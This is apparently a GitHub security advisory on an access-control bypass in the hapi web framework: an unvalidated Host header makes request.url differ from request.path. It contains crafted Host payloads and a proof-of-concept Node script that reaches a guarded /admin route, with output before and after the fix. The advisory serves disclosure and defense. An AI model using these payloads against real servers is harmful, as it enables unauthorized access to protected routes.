Skip to main content
Menu
Advisories

request.url is built from an unvalidated Host header, so its path can differ from request.path

GHSA-X4HP-QV36-Q775Published Updated GitHub

Description

hapi builds request.url from the Host header without validation. A Host value that contains /, ? or # changes request.url.pathname, while hapi routes on the real path. An application that authorizes on request.url can be bypassed. Severity is moderate, because the application must read request.url instead of request.path for that check.

Details

The request.url getter concatenates the protocol, the Host header and the request target into one string, and gives it to the WHATWG URL parser:

const host = this.info.host || ...;
this._url = new Url.URL(`${this._core.info.protocol}://${host}${source}`);

hapi does not validate the Host header before this step. If the header contains /, ? or #, the parser reads part of the header as the path, the query or the fragment. The request target then moves into the query or the fragment, or becomes a second path segment. request.path comes from the request target directly, so it stays correct, and hapi routes the request with it. The result is two different paths for the same request:

GET /admin/secret
Host: evil.com/abc?x=   request.path=/admin/secret   request.url.pathname=/abc
Host: evil.com?/abc     request.path=/admin/secret   request.url.pathname=/
Host: evil.com#/abc     request.path=/admin/secret   request.url.pathname=/

The fix validates the Host header (or the HTTP/2 :authority pseudo-header when Host is absent) against the RFC 3986 host [ ":" port ] syntax. hapi rejects a request with an invalid value with a 400 Bad Request before the onRequest extensions run. An empty Host header is still accepted.

Workarounds for users who cannot upgrade:

  • Use request.path instead of request.url.pathname for authorization decisions.
  • Configure the front proxy to reject requests with an invalid Host header.
  • Add an onRequest extension that rejects a request when request.info.host contains /, ?, #, @ or \.

References:

  • RFC 9112 section 3.2: a server must respond with 400 Bad Request to a request with an invalid Host header field.
  • RFC 3986 section 3.2.2: host syntax.

Proof of concept

'use strict';

const Net = require('net');
const Hapi = require('@hapi/hapi');

const send = (port, host) => new Promise((resolve) => {

    const socket = Net.createConnection(port, '127.0.0.1', () => {

        socket.write(`GET /admin/secret HTTP/1.1\r\nHost: ${host}\r\nConnection: close\r\n\r\n`);
    });

    let response = '';
    socket.on('data', (chunk) => (response += chunk));
    socket.on('close', () => resolve(response.split('\r\n')[0] + (response.includes('SECRET') ? ' SECRET' : '')));
});

const main = async () => {

    const server = Hapi.server({ host: '127.0.0.1' });

    // Application guard, refuses /admin* based on request.url

    server.ext('onRequest', (request, h) => {

        if (request.url.pathname.startsWith('/admin')) {
            return h.response('denied').code(401).takeover();
        }

        return h.continue;
    });

    server.route({ method: 'GET', path: '/admin/secret', handler: () => 'SECRET' });

    await server.start();

    for (const host of ['127.0.0.1', 'evil.com/abc?x=', 'evil.com?/abc', 'evil.com#/abc']) {
        console.log(host.padEnd(18), await send(server.info.port, host));
    }

    await server.stop();
};

main();

Output on 21.4.12:

127.0.0.1          HTTP/1.1 401 Unauthorized
evil.com/abc?x=    HTTP/1.1 200 OK SECRET
evil.com?/abc      HTTP/1.1 200 OK SECRET
evil.com#/abc      HTTP/1.1 200 OK SECRET

Output on 21.4.13:

127.0.0.1          HTTP/1.1 401 Unauthorized
evil.com/abc?x=    HTTP/1.1 400 Bad Request
evil.com?/abc      HTTP/1.1 400 Bad Request
evil.com#/abc      HTTP/1.1 400 Bad Request

Impact

This is an access control bypass caused by two different readings of the same request path. It affects applications that make authorization or filtering decisions on request.url, for example in an onRequest extension, while hapi routes on request.path. A remote attacker without credentials can then reach routes that the check must protect. A browser cannot set the Host header, so the attacker needs a direct connection, a server-side request forgery, or a front proxy that sends the Host header without validation.

Affected versions

References

GitHub · hapijs/hapi